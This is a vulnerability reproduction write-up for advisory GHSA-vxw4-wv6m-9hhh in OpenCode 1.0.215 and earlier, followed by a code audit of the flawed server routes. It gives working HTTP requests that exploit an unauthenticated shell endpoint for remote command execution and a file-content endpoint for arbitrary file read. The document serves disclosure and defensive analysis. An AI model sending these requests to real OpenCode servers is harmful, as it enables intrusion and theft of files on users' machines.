OpenCode Vulnerability Reproduction (GHSA-vxw4-wv6m-9hhh)
OpenCode has recently become popular as an open-source alternative to Claude Code, and a new CVE vulnerability was recently disclosed.
Vulnerability overview
Vulnerability ID: GHSA-vxw4-wv6m-9hhh
Affected versions: OpenCode 1.0.215 and earlier
Vulnerability type: Remote command execution (RCE) + arbitrary file read
Severity: Critical
Official security advisory: https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh
Environment setup
Here we use version 1.0.215 to reproduce the vulnerability:
# 初始化项目
npm init -y
# 安装漏洞版本
npm i opencode-ai@1.0.215
# 启动服务
node_modules/.bin/opencode
I have to say, OpenCode’s UI looks great 👍
Vulnerability reproduction
1. RCE (remote command execution)
Step 1: Obtain a session ID
First, create a session through an unauthenticated endpoint:
curl -s -X POST http://127.0.0.1:4096/session -H "Content-Type: application/json" -d "{}"
Response:
{
"id":"ses_4386ff31fffeP7CTCc2oDn2mwu",
"version":"1.0.215",
"projectID":"global",
"directory":"C:\\Users\\bx336\\Documents\\skills\\cve",
"title":"New session - 2026-01-16T16:07:45.120Z",
"time":{
"created":1768579665120,
"updated":1768579665120
}
}
Step 2: Check the CORS configuration
curl -I -X OPTIONS http://127.0.0.1:4096/session
Response headers:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,HEAD,PUT,POST,DELETE,PATCH
Date: Fri, 16 Jan 2026 16:08:30 GMT
Content-Length: 0
We can see that Access-Control-Allow-Origin: * allows access from any origin, making the attack easier.
Step 3: Execute an arbitrary command
Use the obtained session ID to execute a system command:
POST /session/ses_4386ff31fffeP7CTCc2oDn2mwu/shell HTTP/1.1
Host: 127.0.0.1:4096
User-Agent: curl/7.88.1
Accept: */*
Content-Type: application/json
Content-Length: 35
Connection: close
{"agent":"build","command":"whoami"}
List a directory:
{"agent":"build","command":"ls"}
2. Arbitrary file read
OpenCode also has an arbitrary file read vulnerability, allowing an attacker to read any file on the server:
GET /file/content?path=package.json HTTP/1.1
Host: 127.0.0.1:4096
User-Agent: curl/7.88.1
Accept: */*
Connection: close
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json
Date: Fri, 16 Jan 2026 16:21:53 GMT
Content-Length: 95
{"type":"text","content":"{\n \"dependencies\": {\n \"opencode-ai\": \"^1.0.215\"\n }\n}"}
Code-audit analysis
Looking at the code as a whole, the core issue is the lack of any restrictions or processing of user input.
RCE vulnerability-chain analysis
| Stage | Code location | Description |
|---|---|---|
| Route entry | packages/opencode/src/server/server.ts:1407 | /session/:sessionID/shell only validates parameters; there is no authentication middleware |
| Call chain | packages/opencode/src/server/server.ts:1434 | Directly calls SessionPrompt.shell |
| Command input | packages/opencode/src/session/prompt.ts:1046 | ShellInput.command is defined as string |
| Process launch | packages/opencode/src/session/prompt.ts:1181 | Directly uses spawn(shell, args, ...) to execute commands |
1. Route entry (unauthenticated)
File: packages/opencode/src/server/server.ts:1407
.post(
"/session/:sessionID/shell",
describeRoute({ summary: "Run shell command" }),
validator("param", z.object({ sessionID: z.string() })),
validator("json", SessionPrompt.ShellInput.omit({ sessionID: true })),
async (c) => {
const sessionID = c.req.valid("param").sessionID
const body = c.req.valid("json")
const msg = await SessionPrompt.shell({ ...body, sessionID })
return c.json(msg)
},
)
Issue analysis:
- ❌ No authentication mechanism
- ❌ No access-control checks
- ❌ Directly receives and processes user input
2. Command input definition
File: packages/opencode/src/session/prompt.ts:1046
export const ShellInput = z.object({
sessionID: Identifier.schema("session"),
agent: z.string(),
model: z.object({ providerID: z.string(), modelID: z.string() }).optional(),
command: z.string(),
})
Issue analysis:
- The
zodlibrary is used to define the structure ofShellInput. command: z.string()only ensures the input is a string.- The string’s contents are not filtered or validated at all.
3. Command execution
File: packages/opencode/src/session/prompt.ts:1181
const matchingInvocation = invocations[shellName] ?? invocations[""]
const args = matchingInvocation?.args
const proc = spawn(shell, args, {
cwd: Instance.directory,
detached: process.platform !== "win32",
stdio: ["ignore", "pipe", "pipe"],
env: { ...process.env, TERM: "dumb" },
})
Issue analysis:
- The code uses Node.js’s
child_process.spawnto start a process. - The command runs in the
Instance.directorydirectory. - The user’s command is executed directly, without any security checks.
- The child process inherits the parent process’s environment variables.
References: